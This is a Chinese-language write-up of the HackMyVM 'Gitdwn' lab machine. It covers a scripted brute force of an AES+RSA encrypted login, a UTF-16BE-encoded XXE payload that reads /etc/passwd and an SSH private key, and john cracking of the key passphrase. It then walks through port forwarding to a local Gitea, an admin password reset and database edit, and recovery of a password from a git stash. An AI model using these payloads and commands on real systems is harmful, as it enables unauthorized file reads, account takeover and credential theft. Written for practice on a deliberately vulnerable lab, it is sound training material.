Sublarge

// 红队渗透 · 2026-03-18

HackMyVM-Gitdwn 靶机WP

Gitdwn靶机贴近真实生产环境,融合了多种常见的安全漏洞与配置隐患,涵盖前端加密逻辑、XML外部实体(XXE)、内网服务暴露、Git版本控制信息泄露等多个核心考点,既考验渗透测试人员的基础操作能力(如端口扫描、目录枚举、密码爆破),也要求具备一定的代码逆向、漏洞组合利用与细节挖掘思维。

靶机信息

靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Gitdwn

靶机作者:Sublarge(@MazeSec)

系统:Linux

难度:Medium

Gitdwn靶机贴近真实生产环境,融合了多种常见的安全漏洞与配置隐患,涵盖前端加密逻辑、XML外部实体(XXE)、内网服务暴露、Git版本控制信息泄露等多个核心考点,既考验渗透测试人员的基础操作能力(如端口扫描、目录枚举、密码爆破),也要求具备一定的代码逆向、漏洞组合利用与细节挖掘思维。

0x01 信息收集 (Reconnaissance)

首先通过 nmap 对目标机进行全端口扫描,确认开放的服务及版本信息。

关键发现:

  • 22/tcp: OpenSSH 8.4p1 (Debian)
  • 80/tcp: Apache 2.4.62,Web 标题显示为 MazeSec Community - Login。

image.png

接下来使用 feroxbuster 针对 Web 服务进行目录扫描。

扫描结果揭示了 /api/ 目录的存在,其中 import.php 返回 401(未授权),而 login.php 则只允许特定的 HTTP 方法(405),可以推断这里与首页的登录框逻辑一致。

0x02 身份认证绕过 (Initial Access)

前端 login.js 的逻辑分析表明,系统在登录时并未使用简单的明文传输,而是采用了一套混合加密机制:

  1. 前端生成随机的 AES-128-CBC 密钥和 IV。
  2. 使用该 AES 密钥加密用户的凭据(账号/密码)。
  3. 使用硬编码在前端的 RSA 公钥 加密上述 AES 密钥和 IV。

知识点:混合加密 (Hybrid Encryption)

这种设计旨在利用 RSA 的安全性来交换密钥,利用 AES 的高效性来加密数据。在渗透测试中,如果我们可以获取 RSA 公钥并复刻加密逻辑,就能构造合法的加密请求进行暴力破解。

通过分析 dashboard.html,猜测管理员用户名为 admin。基于此,编写一个 Python 脚本来模拟前端加密流程,并对 login.php 发起爆破。

成功获取凭据 admin:hotdog ,并在后台发现了一个 XML 上传接口。

0x03 编码绕过与 XXE 漏洞利用

尝试直接上传 XML 以测试 XXE (XML External Entity) 漏洞,但系统存在过滤拦截。

通过尝试不同的字符编码,发现 UTF-16BE 编码的 XML 可以绕过检测。

编写 payload.xml,注意头部写的是UTF-16BE:

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
xml5 行

然后进行转换,命令如下:

iconv -f utf-8 -t utf-16be payload.xml > payload_utf16be.xml
text1 行

点击上传文件发送数据包,能读到私钥

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDw27ezFa
JQTEi2prBXvDkoAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIKFZmdQK4Puv6jNg
RmBH9m190f2g3MycNX8jFmOgp09zAAAAkKiy3siSkGCQqNc+kuLINkyMjUqFEHa8Bs4yPp
9H762IchyF0qhWMHD0Q1t70IpZVh36VY5WSujjNhFabCpiGINGnyFjoIJ1O8HFqjiu6OUO
WJBb4M3+FKM1jl81ZYRHE34Xmg07Sgt+t9zxizCktPdtnMU1Q9kR/rkYtzPOAYRt45v5XD
H/JrGou2sgYK0oOA==
-----END OPENSSH PRIVATE KEY-----
text8 行

尝试 SSH 私钥登录时发现还需要输入私钥密码,爆破一下:

ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
text2 行

最终成功登入 git 用户。

0x04 本地 Gitea 服务横向

获取 git 用户权限后,需要继续寻找提权路径。SUID/sudo 都没什么收获,于是查看当前主机上的网络服务

ss -tulnp
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port                                                                                          
udp      UNCONN    0         0                  0.0.0.0:68              0.0.0.0:*                                                                                             
tcp      LISTEN    0         128                0.0.0.0:22              0.0.0.0:*                                                                                             
tcp      LISTEN    0         128              127.0.0.1:3000            0.0.0.0:*       users:(("Gitea",pid=359,fd=13))                                                       
tcp      LISTEN    0         20               127.0.0.1:25              0.0.0.0:*                                                                                             
tcp      LISTEN    0         128                      *:80                    *:*                                                                                             
tcp      LISTEN    0         128                   [::]:22                 [::]:*                                                                                             
tcp      LISTEN    0         20                   [::1]:25                 [::]:*       
text9 行

可以看到本地 127.0.0.1:3000 上有一个Gitea服务,仅对本机开放。进一步查看启动命令:

ps -fp 37903
UID          PID    PPID  C STIME TTY          TIME CMD
git        37903       1  0 10:11 ?        00:00:00 /usr/local/bin/Gitea web --config /etc/Gitea/app.ini
text3 行

可以看到配置文件路径为/etc/Gitea/app.ini,但是其中的信息并没有什么用

用 linpeas 枚举发现Gitea的数据库/var/lib/Gitea/data/Gitea.db,但是其中的 hash 爆破不出来

看进程发现这个Gitea开在3000端口,端口转发一下

ssh -L 0.0.0.0:3000:localhost:3000 -i id_rsa git@$IP
bash1 行

然后在攻击机浏览器访问本地 3000 端口

首页有注册/登录入口,还可以探索到bilir用户和一个Snake项目。查看提交历史和仓库内容并没有直接有用的信息,bilir在这个仓库中也没做什么修改。

由于我们已经控制了Gitea的服务账户,可以通过Gitea命令行工具重置管理员密码,从而查看更多隐藏信息:

/usr/local/bin/Gitea admin user change-password --config /etc/Gitea/app.ini --username admin --password 1qaz@WSX
text1 行

另一种方式是操作数据库:

# 连接数据库修改信息
sqlite3 /var/lib/Gitea/data/Gitea.db

# 查看数据表
.tables

# 查看用户表中用户id、名称、是否是管理员的信息
SELECT id, name, is_admin FROM user;

# 更新权限
UPDATE user SET is_admin = 1 WHERE name='vortex5';
text11 行

在获取管理员权限后,首先可以想到利用 Gitea 的 Webhooks 功能来实现 RCE。

Gitea 的 Webhook 或 Git Hooks 允许在特定事件(如 Push)发生时执行自定义脚本。但在本项目中,由于 Gitea 服务本身就是以 git 用户身份运行的,即使触发反弹 Shell,其安全上下文依然受限于 git 账户,无法直接跨越到 bilir 或 root。

深挖信息,可以在仓库右上角看到 设置 按钮。在设置中继续翻找,发现在 Web 钩子 中配置了一个带Bearer的授权标头:

其中YmlsaXIhQCM=解码后是bilir!@#,也是bilir的ssh密码,使用该密码即可 SSH 登录 bilir 用户。

0x05 Git 仓库凭据泄露提权

发现还是没有sudo -l,看来还是得找凭证

发现有.git目录,那就先看看历史记录

git log --oneline	#查看提交历史
git log -p	#检查差异
bash2 行

可以看到在历史记录里只有一次提交,是 init

看起来是创建了两个新文件 config.yaml 和 order.py,写入了 pass: [PLACEHOLDER]

然后查看status、branch、commit历史,都没有特别敏感的信息,只是露出了一个数据库用户名。

但是如果我们尝试列出所有的提交哈希,能看到其实提交了三次

git rev-list --all
bash1 行

如果我们只是单纯想找个密码其实很简单,只需要 git grep "pass" $(git rev-list --all) 就行

这里我们来看看作者是用什么方式隐藏的

首先作者提交了初始版本 81dfc8e,也就是我们能在历史记录里看到的那个,密码已经是占位符了

接着作者把密码手动改回了明文,之后使用 git stash “看似”把密码复原到了初始的占位符状态,实际上 git stash 它会保存当时工作区和暂存区的内容,所以敏感信息一样会被记录下来。

那为什么简单查看提交历史找不到呢,因为 stash 不在普通分支提交链上。stash 相当于一个临时草稿,比如项目进行一些临时的修改,如果修改完后不想提交成正式版本,就可以用 stash 把修改先“收起来”,这样项目既是之前干净的状态,也把修改保存下来了。比较特殊的地方在于这个保存实际上并不是缓存,而是真实地创建了一个git对象,而 stash 的两个父提交,一个指的是81dfc8e(工作区修改,未 add 的改动);一个指的是75d20af(index 修改,已经 add 的改动)

这个图看着比较直观:

0x06 总结 (Summary)

渗透流程复盘:

初始访问:逆向前端登录加密逻辑(AES+RSA 混合加密),编写脚本爆破获取admin:hotdog凭据,登录后台发现 XML 上传点;

首次权限获取:利用UTF-16BE 编码绕过 XXE 过滤,读取 SSH 私钥并爆破密码,成功登录git低权限用户;

横向移动:发现本机 3000 端口 Gitea 服务,通过端口转发 + 管理员密码重置 / 数据库提权,获取 Gitea 后台权限,从 Webhooks 泄露bilir用户 SSH 密码;

最终提权:登录bilir用户后,挖掘 Git 仓库 stash 隐藏敏感信息,获取明文密码,登录到root。

知识点:

  • 前端加密不可信:硬编码 RSA 公钥、前端明文加密逻辑可被完全复刻,是登录爆破的核心前提;XXE 编码绕过技巧:常规 XML 被拦截时,UTF-16BE 编码可有效绕过 WAF / 过滤规则,读取系统敏感文件;内网服务横向思路:本机监听的服务(如 Gitea)可通过 SSH 端口转发暴露到攻击机,结合服务自身权限漏洞实现横向;Git 信息泄露风险:git stash临时存储不会显示在常规提交历史中,极易造成密码、密钥等敏感信息泄露;渗透测试核心逻辑:从外网低权限逐步向内网、高权限推进,不放过配置文件、历史记录、隐藏服务等细节。

希望这篇文章能对各位师傅有所启发。Keep Hacking!

原文 https://xz.aliyun.com/news/91785